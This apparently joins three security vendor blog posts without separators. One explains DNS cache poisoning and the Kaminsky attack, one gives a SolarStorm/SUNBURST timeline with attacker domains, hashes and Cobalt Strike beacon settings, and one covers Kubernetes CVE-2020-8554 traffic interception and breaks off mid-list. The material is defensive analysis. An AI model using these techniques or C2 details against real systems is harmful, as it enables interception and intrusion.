A DNS resolver is the lowest node in the DNS hierarchy – the one in your Kubernetes cluster, for example. The basic idea of how DNS works is that when a DNS resolver is being asked about a domain it doesn’t know, it starts by asking the DNS root server. Root servers are the highest nodes in the hierarchy and their addresses are hardcoded in the resolver. The root server answers with a list of addresses for the relevant top-level domain' (TLD) DNS servers, which are in charge of the relevant DNS zone (.com, .net, .etc). The TLD server answers with the address of the next, hierarchically lower server, and so on, until an authoritative server is reached.
DNS in the Cloud
Cloud computing skyrocketed in popularity in recent years. The way cloud products implement DNS might not be intuitive in some cases. Virtual machines in the cloud are pretty straightforward. The DNS resolver is determined by the virtual machine’s operating system. If using Windows, then Windows has its built-in DNS resolver. If using Linux, then it is distribution-dependent.
But what about other cloud products like Kubernetes? Unlike simple virtual machines, Kubernetes uses a custom virtual machine for its nodes, one that doesn’t come with a built-in DNS resolver.
Each Kubernetes cluster also contains a special containerized DNS resolver. All the applications in the cluster forward their DNS requests to this containerized DNS resolver, which handles them.
In the past, up to version 1.10 of Kubernetes, it used to be kube-dns, a package of applications for handling, caching and forwarding DNS requests. The core application in kube-dns was dnsmasq. dnsmasq is a lightweight, easy-to-configure DNS forwarder, designed to provide DNS services to a small-scale network. Since then, Kubernetes moved to CoreDNS, which is an open source DNS server written in Go. CoreDNS is a fast and flexible DNS server.
Cache
Cache is a hardware or software component that stores data, so that future requests for that data can be served faster. It is a very important feature in DNS servers. DNS servers use cache to store previously translated names.
For example, if client C tried to access www.example.com and the name server resolved www.example.com to 93.184.216.34, it will save that IP address of www.example.com for an arbitrary amount of time so the next DNS client that contacts it to try to resolve this name will be answered immediately from the cache.
What Is DNS Cache Poisoning?
DNS cache poisoning is a type of attack on DNS servers that eventually ends with the server saving an attacker’s controlled IP address for a non-attacker’s controlled domain.
For example, an attacker manages to trick a DNS server into saving the www.example.com IP address as 13.37.13.37, which is an evil IP address that the attacker controls, instead of the actual real IP address.
From this point onwards, and until the cached IP address is timed out, every DNS client that tries to resolve www.example.com will be “redirected” to the attacker’s website.
Past DNS Vulnerabilities
No Mitigations
There were many DNS attacks that were discovered in the last 20 years. I will describe DNS cache poisoning, also known as DNS spoofing, the most widely known DNS attack.
So how does DNS cache poisoning work?
As explained above, it takes some time for the resolver to resolve the IP address of a domain. It usually needs to contact multiple servers before getting to the authoritative one. Attackers can abuse this period of time to send fake answers to the resolver.
This attack is possible in the following scenarios, all of which result in an attacker being able to send packets to the resolver:
A resolver that leaves its listening port open to the internet.
An attacker that manages to get control of an endpoint in the internal network.
A client in the internal network that browses to an attacker controlled website.
For example, let’s assume that an attacker penetrated one of the endpoints in the internal network and is now looking to poison the local resolver’s cache. It is important to note that this attack can be implemented, in the exact same way, on more critical resolvers such as an ISP’s resolver.
The client visits www.example.com and the domain is missing from the resolver cache, so it initiates the process described above to resolve the address of the domain. In the meantime, the attacker sends an answer packet to the resolver with a fake IP address, faking the DNS server answer. This is the basic idea of the attack, but there are a few mitigations. These include transaction ID and source port randomization.
DNS uses something called transaction ID (TXID) to match each response to the correct request. An attacker has to supply a response with the correct transaction ID or the DNS server will just drop the packets. When this mechanism was invented, many years ago, it wasn’t intended to be a security feature, but simply a way to match responses to requests. Before DNS vulnerabilities were discovered, DNS used an ascending index as the transaction ID. It was simple for an attacker to guess that number.
Figure 2. A DNS cache poisoning attack.
An attacker would have had to buy a domain and configure their own controlled DNS server. Next, the attacker would ask the resolver in the local network about their own domain. The local resolver would forward the request up the hierarchical DNS ladder until it reached a DNS server that knew the attacker’s controlled DNS server. At this point, the original DNS request (the one that the attacker issued from the internal network) would get to the attacker’s controlled DNS server, thus revealing the transaction ID to the attacker.
Using the transaction ID the attacker discovered earlier, they would have a good idea of the transaction ID needed for the fake response to be accepted. In such a case, an attacker could send multiple fake responses with multiple transaction IDs to make sure one of them was the correct one. Then, all there is left for an attacker to do is issue a DNS request for a domain that is not in the local DNS resolver’s cache and immediately send fake responses using the transaction ID for that domain.
The local resolver would get the response with the correct transaction ID, drop the others and cache the address. From now on, and for an arbitrary amount of time, any local client that would have visited that domain would be directed to the attacker’s website.
New Mitigations
The obvious mitigation, which was implemented, was to randomize the transaction ID for each request (instead of using an ascending counter). This mitigation made the attack much harder to execute. How much harder? Well, MAX_SIZE_OF_QUERY_ID harder. Transaction ID is 16 bits, so that mitigation made the attack 65,536 times harder than before. Not bad – but not bulletproof either.
Round Two, Fight!
Those mitigations held off attackers for quite some time, but eventually the internet caught up. While a 16-bits randomization key is quite large, it isn’t nearly large enough. Let's do the math.
For the following calculation, we need to put down some data:
Size of a typical DNS response: 100 bytes = 800 bits
Bandwidth of the attacker: 1 Megabits per second = 1,000,000 bits
Time it takes for a legitimate response to get back to the resolver: two seconds
(A side note about the two seconds: Nowadays, with modern internet connection, it obviously takes less than two seconds to fulfill a DNS request, even for domains that aren’t cached. But as I picked a latency for the sake of example, I also chose an internet speed from the past: 1 Megabits per second.)
There are 65,536 possible transaction IDs, and we have a window of two seconds to send a response with the correct one for a successful attack. In order to calculate our success rate per attack, we need to figure out how many response packets an attacker can dispatch before the actual legitimate response arrives at the resolver. This is easy to calculate: the bandwidth divided by the size of the packet multiplied by the time.
With 1 Mbit/s bandwidth, an attacker can send up to 1,000,000/800 = 1,250 response packets in a second, meaning 2,500 in the two-second window the attacker has. The amount of tries needed to achieve a likely attack, meaning at least 50% success rate with a 1 Mbit/s bandwidth, is about 18 tries.
(You can view the complete calculation here: 1,000,000 is the amount of bits we can send in a second with our 1 Mbits\s connection. We divide that by 800, which is the size of a DNS response that yields the amount of responses we can send in a second. We multiply that by 2 because of the 2-second window. We then divide that by 2 to the power of 16, which is the size of the transaction ID field. That is the success rate of a single attack. In order to achieve a successful attack we need that in x attempts, one of the attempts will be successful. Our x attempts are called an “experiment”, and the set of all possible outcomes of that experiment is called a sample space (Ω). The chance of hitting anything in the sample space is obviously 100% (this is the outer 1 in the equation). In order to get the chance of a likely attack, we need to take the entire sample space and subtract from that anything that is not “succeeding in at least a single attack” which is another way to say failing in all x attempts. Failing in a single attempt is “everything (1) minus succeeding in a single attempt” which is exactly 1 minus success rate. We then tell Wolfram Alpha that we are looking for an x that will result in this equation in a number bigger than 0.5, which is 50%.)
In other words, with only 18 tries, an attacker with 1 Mbit/s bandwidth could achieve a success rate that is bigger than 50% with this attack after the mitigations. This is how easy it was to craft this devastating attack back in the day.
More Mitigations
At first, it might seem odd that such a weak mitigation was chosen, but it is important to remember that it was simply impossible to completely reinvent the DNS protocol. It would have broken the internet. Just think of all the devices out there that have a built-in resolver. They would have completely stopped working. But something more had to be done. As demonstrated, transaction ID mitigation was weak.
So the same mitigation was used, this time with the source port. Each DNS request from a DNS client, resolver or name server comes out from a source port. That port wasn’t randomized prior to this mitigation.
The source port is a 16 bits number, same as the transaction ID, and it was there for functionality only. For example, a resolver might try to use port 10650, and if that was in use from a previous request, it would try to use 10651 and so on. Of course, not all 16 bits were available, as there are constant ports for other uses.
The source port, combined with the transaction ID, are used together as a key for DNS communication – a 32 bits key. Remember that, as it will be important in the attacks I will further discuss. Those extra 16 bits reduced the probability of a successful attack drastically.
Before, with a 1 Mbit/s bandwidth, we had a success rate of 3.8% (You can view the relevant calculation in Wolfram Alpha). With the source port mitigation, with the same data as before, the probability of successful attack is 0.00005821%. The number of attempts are needed to achieve the same likely successful attack as before is 1,190,820. That makes the success of the attack not reliable enough – and indeed, the source port randomization put an end to most DNS cache poisoning attacks.
More Advanced Vulnerabilities
So far, we have focused on poisoning the cache of a single DNS record, “www.example.com is at 93.184.216.34”, also known as an A record. We were poisoning the record at the victim’s own DNS server, like a router or a Kubernetes cluster. In this approach, we work hard on a difficult attack to poison a single domain. We could do better.
In 2008, security researcher Dan Kaminsky discovered a better approach that's drastically more effective than what we have discussed so far in this blog. This vulnerability caused quite a furor in the security community. The general execution method is quite similar to what we discussed so far, meaning we still need to guess the transaction ID and the source port. The probability of succeeding in that is pretty much the same, but in Kaminsky’s method, we could have poisoned a lot more than a single record if we had succeeded.
NS Record
As the name suggests, a name server (NS) record is a DNS record that indicates which DNS server is authoritative for a domain, meaning which server contains the actual IP address of a domain. In our example earlier, the NS record for example.com would be a server that holds the addresses of www.example.com, email.example.com and any ?.example.com.
The attacker’s goal here is to poison the victim’s resolver in such a way that when the victim tries to access www.example.com, email.example.com or any ?.example.com, the resolver will forward the request to the attacker’s name server instead of the example.com name server.
This way, the attacker controls every access to every single subdomain of example.com instead of just www as before.
But How?
Surprisingly, the attack is very similar to the previous attacks that we’ve described in this blog, but instead of poisoning the cache of the resolver with an A record, an attacker will attempt to poison the cache with an NS record.
An attacker would first configure a name server for the domain they want to poison. There is nothing stopping anybody from configuring their own name server to be authoritative for any domain. However, it would ordinarily be pointless as no other server would point to it.
Figure 3. An entire zone poisoning attack.
The attacker would then proceed to issue a DNS request for the subdomain of the zone they want to poison. It would have to be a domain that isn’t cached, so they would know for sure the resolver will forward the request to a root server. Not only that, but the NS record of that domain in our example, the authoritative name server of example.com, shouldn’t be cached either. If it were cached, the resolver would simply forward the request to that authoritative name server directly, without even forwarding the request to the root server.
After the attacker makes the victim’s resolver forward their request to the root server, the root server will usually answer with an NS record, which is roughly equivalent to saying, “I don't know the answer, but you can ask this server over there. Here is its IP address.”
This is the tricky part. To succeed in the attack, the attacker now needs to outperform the root server and deliver the poisonous response before the root server’s response is sent. This is achieved by sending large amounts of responses with an NS record of the desired domain. Don’t forget the attacker needs to guess the transaction ID (and possibly the source port, too).
Each NS answer comes with a “glue” record, which is the actual IP address of the name server. If it was any other way, the requesting server wouldn't know where to find the name server. The resolver receives this glue record, caches it and contacts the name server that the glue points to in order to get the address of the requested domain.
If the attack succeeds, from now on, each request to the resolver for any domain that is uncached under the poisoned domain zone (example.com in www.example.com) would arrive at the attacker’s name server.
Applications
With this advanced attack, an attacker can poison a large amount of domains at the same time. Theoretically, an attacker could even poison the entire .com zone.
While poisoning a zone as big as .com would be challenging, there have been cases where an attacker actually managed to poison an entire cache. Some examples:
On Dec. 18, 2009, a DNS hijacking attack left Twitter temporarily affected for about an hour.
Hundreds of such attacks take place every year.
Mitigations
No actual new mitigations took place, as this attack was already nearly impossible to execute with the transaction ID and port randomization mitigations that were already used. But if an attacker managed to overcome those mitigations, using this attack instead of the “regular” single A record attack would be much more severe.
In the same way as before, using transaction ID and port randomization together to create a key large enough to be too hard for an attacker to guess mitigates the attack.
Recent Vulnerabilities
Even if the DNS protocol is considered secure, developers could fail to implement it securely.
For example, there is a common misconception that randomization functions should be unpredictable, so they can be used to generate cryptographic keys. However, those functions are not meant to be used for cryptography or security. Unfortunately, misuse of randomization functions frequently happen in the case of DNS implementations.
This happened with the function that was used to randomize the transaction ID in CoreDNS, just two years ago. The developers chose to use math.rand, which is a non-cryptographically secure pseudorandom number generator in Golang. This was a big problem. If an attacker could predict the transaction ID, they would absolutely be able to poison CoreDNS’s cache as described earlier in this blog. It means that every application that used CoreDNS as its DNS resolver would have been vulnerable to malicious DNS records. In other words, because CoreDNS is mainly used for Kubernetes, every single application in every single node in the entire cluster would have been vulnerable to this attack.
Another example is a new technique that was discovered just a few weeks ago, which uses the Internet Control Message Protocol (ICMP) to pinpoint which ports are closed on a server, thus revealing which ports are actually open. This, used in a DNS attack, can drastically reduce the number of ports an attacker needs to guess, reducing the effectiveness of the port randomization mitigation explained earlier.
And of course, there are also typical non cache-related vulnerabilities like buffer overflows. dnsmasq is a common DNS resolver used in many Linux distributions and routers, and was even used in early versions of Kubernetes. In recent years, dnsmasq was found vulnerable to numerous memory flaws that could lead to denial of service (DoS), remote code execution (RCE) and more.
Conclusion
The DNS attacks described in this blog could be devastating if successful. Thanks to modern mitigations, an attacker is unlikely to pull off a DNS poisoning attack, unless combined with any other vulnerability in resolver applications. Unfortunately, such vulnerabilities are frequently found to this day.
Over the years, researchers discovered techniques to overcome some of the mitigations we discussed in this blog, for instance, user datagram protocol (UDP) fragmentation.
Despite that, with secured browsing and certificates usage nowadays, even if an attacker manages to poison a DNS server for a domain, it is most likely that the browser’s victim won’t load the page because the certificates won’t match. But the technique can still be used for enormous DoS attacks by poisoning an ISP’s DNS resolver and forwarding requests to a non-existent IP address.
Palo Alto Networks customers are protected from the attacks outlined in this blog in a variety of ways. Palo Alto Networks Next-Generation Firewalls can block DNS attacks by detecting suspicious DNS queries and anomalous DNS responses. Attacks related to exhaustion or high quantities of traffic are handled with DoS or zone protection profiles that are built into the firewall. These protections are in addition to coverage of DNS threats and indicators through DNS Security Service.
Furthermore, Prisma Cloud can protect your clusters by alerting about outdated and vulnerable components, as well as misconfigured applications in your cloud. Most of the attacks described in this blog require a breach in the internal network of the cluster to be able to send malicious packets to the DNS server from the inside. Such breaches almost always happen by exploiting outdated and misconfigured applications.
On Dec. 13, the cyber community became aware of one of the most significant cybersecurity events of our time, impacting both commercial and government organizations around the world. The event was a supply chain attack on SolarWinds OrionⓇ software conducted by suspected nation-state operators that we are tracking as SolarStorm. Unit 42 was able to connect this event back to an attack we successfully prevented earlier this year. On Dec. 18, we launched a SolarStorm Rapid Assessment program resulting in more than 600 companies requesting this service within the first four days.
While this is not the first software supply chain compromise, it may be the most notable, as the attacker was trying to gain widespread, persistent access to a number of critical networks. Given the importance of the event, we are publishing a timeline of the attack based on our extensive research into the information available to us and our direct experience defending against this threat. We believe this will be invaluable to cybersecurity professionals in the industry responding to this attack, as well as to other researchers piecing together the event details. And as we learn that this threat actor used additional attack vectors, we urge everyone to share what they know about this attack so that we as a cybersecurity community get a complete picture of it as quickly as possible.
It is important to note that we do not have complete knowledge of when the planning and execution of this campaign began. We do, however, have evidence that SolarStorm command and control (C2) infrastructure was set up as early as August 2019. The first modified SolarWinds software was released in October 2019, and the earliest related Cobalt Strike payload we’ve identified was generated using Cobalt Strike 4.0, which was built in December 2019. We do not know when SolarStorm first compromised the SolarWinds software supply chain or the method by which they accomplished this task.
Additionally, multiple reports indicate that SolarStorm employed additional initial access vectors beyond the compromised SolarWinds software. We are tracking these reports but have not confirmed other techniques used to obtain initial access to networks at this time. Of course, we should expect that an adversary with the capability to execute this campaign could have used many additional means to accomplish their goal.
Those seeking details on how Palo Alto Networks is protecting its customers from this threat, please read our Threat Brief on SolarStorm and SUNBURST containing those details, which is being updated as new information comes to light. The SolarStorm ATOM is also being updated as new details emerge.
SolarStorm Timeline Summary
Researchers reported a supply chain attack affecting organizations around the world on Dec. 13, 2020. This incident involved malicious code identified within the legitimate IT performance and statistics monitoring software, OrionⓇ, developed by SolarWinds.
Since then, details from other security vendors and organizations have been released, further building on the events leading up to the initial disclosure. Unit 42 has conducted research based on what is publicly available and what information has been identified within internal data.
The timeline in Figure 1 displays a high-level summary of the events observed, beginning as early as August 2019 and continuing through December 2020.
Figure 1. SolarStorm Visual Timeline
Analysis of the SolarWinds software revealed code modification as early as October 2019, although the first weaponized software updates, denoted as SUNBURST malware, were not released until approximately March 2020. Unit 42 has also observed two samples of the modified SolarWinds software which appear as early as October 2019.
The majority of the infrastructure observed in this campaign was acquired between December 2019 and March 2020; however, at least one domain, incomeupdate[.]com, noted in Cobalt Strike BEACON activity, was registered in August 2019 as depicted in Table 1. SolarStorm operators acquired SSL certificates for many of the associated domains between February and April 2020, with at least one certificate extending to July.
The extensive infrastructure build-out throughout this timeline helps to visualize the persistence of the operation from initial targeting to completion of the objective. SolarStorm threat actors are highly skilled and thorough in their operational handling.
To better understand the timing around when organizations installed the malicious SUNBURST update, we reviewed our DNS Security logs for requests to avsvmcloud[.]com, the domain used with a domain generation algorithm (DGA) in this activity. Industry partners ultimately seized this domain in December 2020.
Our search returned responses from April-November 2020. The counts of requests observed in DNS Security logs each month are shown in Figure 2 below.
Figure 2: Number of requests for avsvmcloud[.]com (and subdomains) per month.The requests begin in April, shortly after SolarStorm distributed the malicious update. They then slowly rise with a peak in July and begin to trail off. This pattern could be explained by organizations slowly installing the malicious updates in the weeks after release, but we can’t say for sure. Microsoft and industry partners seized control of this domain on Dec. 15. They used it to send a form of “killswitch” command, instructing SUNBURST to terminate itself and prevent further execution.
Palo Alto Networks Cortex XDR Blocked an Attempted SolarStorm Attack
As our CEO Nikesh Arora described on Dec. 17, Palo Alto Networks Cortex XDR successfully prevented a SolarStorm attack byimmediately detecting and preventing an attempt to execute Cobalt Strike Beacon on one of our IT SolarWinds servers last year. To help provide more insight into the timeline around this threat, we are sharing more details about what our security operations center (SOC) observed at that time.
There are three initial phases to an intrusion from SolarStorm:
A SolarWinds Orion server updates its software and downloads the malicious update containing the SUNBURST backdoor.
SUNBURST then sends DNS requests to check in with the attacker, which contain information identifying the organization. The attacker chooses to designate some organizations as being of interest for further intrusion.
For SUNBURST to gain further access into the network, additional steps are needed starting with downloading and executing an additional malicious payload.
The Palo Alto Networks SOC observed a DNS request from our Solarwinds Orion server for the avsvmcloud[.]com domain on Sept. 29, 2020. During this short-lived connection, no malicious content was downloaded but the system was likely labeled for further intrusion.
Six days later, on Oct. 5, 2020, a second connection occurred in which a new payload was downloaded. With the use of Cortex XDR’s Behavioral Threat Protection capability, this payload was instantly detected and the attempt to execute was prevented. Our SOC then immediately isolated the server, initiated an investigation and verified our infrastructure was secure. Additionally, at this time, our SOC notified SolarWinds of the activity observed. The investigation by our SOC concluded that the attempted attack was unsuccessful and no data was compromised.
We thought this was an isolated incident. However, on Dec. 13, when SolarWinds disclosed SUNBURST, it became clear that the incident we prevented was an attempted SolarStorm attack. Given this new information, our SOC exercised due diligence and analyzed our entire infrastructure extensively again to revalidate the security of our entire network. We remain confident that our network continues to be secure.
Observed TEARDROP Activity
Unit 42 has and continues to research this campaign to identify additional details that could lead to further defensive actions.
During analysis of the information available, Unit 42 identified related activity involving TEARDROP malware that was used to execute a customized Cobalt Strike BEACON. This sample contains a beacon request to the previously unreported domainmobilnweb[.]com.
The TEARDROP DLL has a SHA256 of: 118189f90da3788362fe85eafa555298423e21ec37f147f3bf88c61d4cd46c51
and contains a beacon request for the URI /2019/Person-With-Parnters-Brands-Our/ with the User-Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36. Within that same configuration, we also observed an additional URI setting containing the string /2019/This-Person-Two-Join-With/.
The following watermark setting was also present and appears to be unique to this sample 0x38383430 (943207472). This watermark likely indicates that the operators used a licensed version of Cobalt Strike.
Additional configuration details of interest include: SETTING_C2_POSTREQ: Referer: https://yahoo[.]com/ Host: mobilnweb[.]com Accept: */* Accept-Language: en-US Connection: close name="uploaded_1";filename="91018.png" Content-Type: text/plain
Although the configuration details above show the referer as https://yahoo[.]com, we do not have evidence that Yahoo was used in an actual beacon.
SolarStorm Infrastructure Establishment Timeline
While some of these domains have a registration date earlier than the dates depicted here, the dates shown are the domain modification dates believed to be when the actors acquired control over the domain. The variation in registration date vs. the time of acquisition by SolarStorm provides an added sense of legitimacy for the domains in use.
Domain
Assessed Actor Controlled Date
Registrar
incomeupdate[.]com
8/6/19
NameCheap
zupertech[.]com
10/10/19
NameSilo
avsvmcloud[.]com
12/6/2019
GoDaddy
mobilnweb[.]com
12/19/19
NameCheap
highdatabase[.]com
12/26/19
NameSilo
solartrackingsystem[.]net
1/7/20
NameSilo
webcodez[.]com
1/15/20
NameCheap
panhardware[.]com
1/18/20
NameSilo
websitetheme[.]com
1/27/20
NameSilo
thedoccloud[.]com
2/5/20
NameSilo
seobundlekit[.]com
2/6/20
NameCheap
freescanonline[.]com
2/10/20
NameCheap
deftsecurity[.]com
2/12/20
NameSilo
virtualwebdata[.]com
2/13/20
NameSilo
digitalcollege[.]org
3/5/20
NameCheap
databasegalore[.]com
3/12/20
NameCheap
zupertech[.]com
3/15/20
NameSilo
lcomputers[.]com
6/22/20
NameSilo
Table 1. SolarStorm domain acquisition timeline
The following SSL certificates were observed in connection with SolarStorm infrastructure. All certificates are issued by Sectigo RSA Domain Validation Secure Server CA.
Domain
SHA-1
Dates Valid
websitetheme[.]com
66576709A11544229E83B9B4724FAD485DF143AD
2/3/20 - 2/2/21
thedoccloud[.]com
849296c5f8a28c3da2abe79b82f99a99b40f62ce
2/6/20 - 2/5/21
seobundlekit[.]com
E7F2EC0D868D84A331F2805DA0D989AD06B825A1
2/6/20 - 2/5/21
freescanonline[.]com
8296028C0EE55235A2C8BE8C65E10BF1EA9CE84F
2/11/20 - 2/10/21
solartrackingsystem[.]net
91B9991C10B1DB51ECAA1E097B160880F0169E0C
2/12/20 - 2/11/21
virtualwebdata[.]com
AB93A66C401BE78A4098608D8186A13B27DB8E8D
2/13/20 - 2/13/21
deftsecurity[.]com
12D986A7F4A7D2F80AAF0883EC3231DB3E368480
2/13/20 - 2/12/21
digitalcollege[.]org
FDB879A2CE7E2CDA26BEC8B37D2B9EC235FADE44
3/5/20 - 3/5/21
databasegalore[.]com
D400021536D712CBE55CEAB7680E9868EB70DE4A
3/12/20 - 3/12/21
mobilnweb[.]com
2C2CE936DD512B70F6C3DE7C0F64F361319E9690
4/3/20 - 4/3/21
panhardware[.]com
AF6268F675ED810D804745970927E36D12AC9B0A
4/10/20 - 4/10/21
incomeupdate[.]com
B654148983439E28802166449A8F413B9C995547
4/14/20 - 4/14/21
highdatabase[.]com
35AEFF24DFA2F3E9250FC874C4E6C9F27C87C40A
4/16/20 - 4/17/21
zupertech[.]com
B80B01AE313C106F70502142F2B2BCFFC7E15ABD
5/13/20 - 5/13/21
lcomputers[.]com
7F9EC0C7F7A23E565BF067509FBEF0CBF94DFBA6
6/23/20 - 6/24/21
webcodez[.]com
2667DB3592AC3955E409DE83F4B88FB2046386EB
7/8/20 - 7/8/21
Table 2. SSL certificates associated with SolarStorm domain activity
Additional Tools and Techniques
There have been many reports indicating that SolarStorm used additional techniques and tools with this incident. A summary of our current knowledge of this use is as follows:
VMware
According to recent reporting, VMware has been associated with this attack in two ways.
First, the National Security Agency released an advisory earlier this month about CVE-2020-4006, a command injection vulnerability, stating that Russian state-sponsored actors were actively exploiting the vulnerability and suggesting US Government agencies patch immediately. This vulnerability exists in five VMware software products focused on identity and access management. Exploitation allows attackers to deploy a webshell on the system and gain access to protected data. This vulnerability can only be exploited by someone who has already authenticated to the system and indicates that when leveraged, it likely is used to gain additional access once the attacker is already inside the networks. More information about CVE-2020-4006 can be found in our previously released Threat Brief: VMware Command Injection Vulnerability.
Second, VMware stated they have SolarWinds OrionⓇ systems in their environment, but they have not seen any evidence of exploitation. Unit 42 has not seen any indication that VMware’s software was used as an infection vector or a TTP utilized within the SolarStorm attack.
Microsoft / SAML
Microsoft has published multiple reports on activity related to this attack campaign, including a summary of the backdoor implanted into SolarWinds OrionⓇ (referred to by Microsoft as Solorigate), as well as guidance for their customers on protecting themselves. They have publicly stated they are working with more than 40 companies who have been targeted in this attack.
One specific component of the attack that Microsoft has discussed in detail is what they have observed in compromised networks with regard to identity infrastructure. Specifically, the attackers have exfiltrated SAML token signing certificates that allow them to forge tokens and access any resources trusted by those certificates. Microsoft has observed these forged tokens presented to the Microsoft cloud on behalf of their customers.
The impact of a compromise of these certificates implies the attacker gained the highest level of privileges inside the network and used them to establish long-term access to the network.
SUPERNOVA Webshell
FireEye’s initial report on the SolarWinds compromise included indicators for a webshell they call SUPERNOVA. Since publication, FireEye has removed those indicators as they no longer believe they were used as a result of the SolarWinds software compromise. This webshell may not be related, but it is still vital to defend against it. Unit 42 has already published an analysis of the SUPERNOVA webshell.
MFA Bypass
The SAML token-forging attack described above would allow an attacker to evade multi-factor authentication systems, as in that case, the authentication system itself is compromised. Volexity published a report about a threat group named Dark Halo who they have now connected to SolarStorm. Their report describes that the attacker targeted the “integration secret key” used to connect Cisco’s Duo Multi-Factor Authentication (MFA) solution to an Outlook Web Access server. With that key, they were able to pre-compute the token codes necessary for authentication.
Once again, similar to the SAML token-forging attack, this MFA bypass requires a significant compromise of the systems used to authenticate users and would have been performed post-compromise to extend the attacker’s access to the network.
Other Initial Access Vectors
On Dec. 19, CISA updated their alert on this threat to include this note:
“CISA has evidence that there are initial access vectors other than the SolarWinds Orion platform. Specifically, we are investigating incidents in which activity indicating abuse of Security Assertion Markup Language (SAML) tokens consistent with this adversary’s behavior is present, yet where impacted SolarWinds instances have not been identified. CISA is working to confirm initial access vectors and identify any changes to the TTPs. CISA will update this Alert as new information becomes available.”
Unit 42 does not yet know what additional initial access vectors may have been used in this attack. Detecting the forged SAML tokens is a clear indication of a compromise, so it makes sense that if that appears in an environment with no SolarWinds OrionⓇ servers, another route must have existed. We should expect that an adversary with the capability to execute this campaign could have used many additional means to accomplish their goal.
Software Supply Chain Attacks
SolarWinds is not the first developer to have their software supply chain mishandled. At the end of 2017, we published an article titled “The Era of Software Supply Chain Attacks Has Begun,” which laid out previous software supply chain attacks and predicted an increased focus on attacking trusted developers. Below is a summary of these significant events.
September 2015 – XcodeGhost: An attacker distributed a version of Apple’s Xcode software (used to build iOS and macOS applications), which injected additional code into iOS apps built using it. This attack resulted in thousands of compromised apps identified in Apple’s app store.
March 2016 – KeRanger: Popular open source BitTorrent client, Transmission, was compromised to include macOS ransomware in its installer. Attackers compromised the legitimate servers used to distribute Transmission, so users who downloaded and installed the program would be infected with malware that held their files for ransom.
June 2017 – NotPetya: Attackers compromised a Ukrainian software company and distributed a destructive payload with network-worm capabilities through an update to the “MeDoc” financial software. After infecting systems using the software, the malware spread to other hosts in the network and caused a worldwide disruption affecting many organizations.
September 2017 – CCleaner: Attackers compromised Avast’s CCleaner tool, used by millions to help keep their PC working properly. The compromise was used to target large technology and telecommunications companies worldwide with a second-stage payload.
In September 2019, attackers again likely targeted Avast’s CCleaner tool after gaining access to Avast’s network through a temporary VPN profile. It is not clear whether or not the same operators from 2017 were involved in this incident.
In each case, including the recent SolarStorm activities, rather than targeting an organization directly through phishing or exploitation of vulnerabilities, the attackers chose to compromise software developers directly and use the trust we place in them to access other networks. This can effectively evade certain prevention and detection controls that have been tuned to trust well-known programs.
This pattern of software supply chain compromises will continue, and security teams can not afford to ignore them. Protecting against these attacks is not simple for any enterprise, and those who are responsible for writing and deploying software need to take responsibility for the integrity of that code.
Conclusion
Since the events of the SolarWinds supply chain attack have unfolded, Unit 42 has actively worked to gather full event details using both publicly available information and internal analysis of an attack against our own network that matches event details reported by FireEye.
While we do not have complete knowledge of the full planning and execution of this campaign, analysis thus far has concluded that the activities of SolarStorm began as early as August 2019 during the infrastructure build-out phase of their operation. SolarStorm operators displayed a tactical and persistent method of operation throughout the entire attack cycle.
While SolarStorm is capable of utilizing many techniques to accomplish their goal, details on initial access vectors beyond the compromised SolarStorm software have not yet been confirmed.
For additional details on how Palo Alto Networks is protecting its customers from this threat, please refer to our Threat Brief on SolarStorm and SUNBURST, which is being updated as new information comes to light.
Palo Alto Networks has shared our findings, including file samples and indicators of compromise, in this report with our fellow Cyber Threat Alliance members. CTA members use this intelligence to rapidly deploy protections to their customers and systematically disrupt malicious cyber actors. For more information on the Cyber Threat Alliance, visit www.cyberthreatalliance.org.
On Dec. 4, 2020, the Kubernetes Product Security Committee disclosed a new Kubernetes vulnerability assigned CVE-2020-8554. It is a medium severity issue affecting all Kubernetes versions and is currently unpatched. CVE-2020-8554 is a design flaw that allows Kubernetes Services to intercept cluster traffic to any IP address. Users who can manage services can exploit the vulnerability to carry out man-in-the-middle (MITM) attacks against pods and nodes in the cluster.
Adversaries may utilize MITM attacks to masquerade as internal or external endpoints, harvest credentials from network traffic, tamper with a victim’s data before sending it to its intended target or block communications with specific IPs altogether. Using encrypted protocols such as Transport Layer Security (TLS) can help, as attackers cannot easily access their traffic.
Multi-tenant clusters are most at risk, as they are most likely to have non-admin users that can manage services. Attackers that compromised a single tenant may exploit the vulnerability to perform MITM attacks against other tenants in the cluster.
The Kubernetes Product Security Committee determined that patching CVE-2020-8554 would result in functionality changes to several Kubernetes features, so there is no plan to resolve the vulnerability in the short term. Instead, the committee recommended several mitigations that restrict access to the vulnerable features, either based on a custom admission controller or through an Open Policy Agent (OPA) Gatekeeperrule. Palo Alto Networks Prisma Cloud Compute customers can enable those mitigations through the built-in Admission support for OPA rules. Please refer to the “Prisma Cloud Compute Mitigation” section for instructions.
The Vulnerability
CVE-2020-8554 stems from a design flaw in two features of Kubernetes Services: External IPs and Load Balancer IPs. Kubernetes Services are an abstract way to expose an application running on a set of pods as a network service. A service is exposed on one or more IPs. Once deployed, nodes in the cluster will route traffic destined to the service IPs to one of the backing pods that make up the service.
When the cluster manages and assigns service IPs, all is well. The problem starts when a Kubernetes user is able to assign arbitrary IPs to their services. In that case, a malicious user can assign IPs that are already in use by other endpoints (internal or external), and intercept all cluster traffic to those IPs. There are two methods to control the IP of a service:
Assign it an external IP.
Assign it a Load Balancer IP by patching the status.loadBalancer.ingress.ip field. This method requires the patch service/status permission.
Below is a service that, when deployed to the cluster, will intercept all cluster DNS traffic to IP 8.8.8.8 (Google’s DNS Server) and route it to the evil-dns-server pod.
Figure 1. A service abusing external IPs to intercept DNS traffic to 8.8.8.8.
To receive the intercepted traffic, attackers must control the endpoints backing their malicious service. In most cases, this will be a pod, like the evil-dns-server pod in the example above. Services can also be backed by external endpoints (rather than cluster pods), which means attackers can also route intercepted traffic to an external endpoint outside of the cluster. This requires the attacker to create a Kubernetes endpoint that points to an external address, which requires the create endpoint privilege.
Am I Affected?
The vulnerability affects all Kubernetes versions and is currently unpatched. Clusters are affected if they meet these conditions:
Allow non-admin Kubernetes users to create or update services, or to patch the status of services; AND
Allow those unprivileged users to control a pod (create, update or exec to pods); OR
Allow those unprivileged users to create or update endpoints.
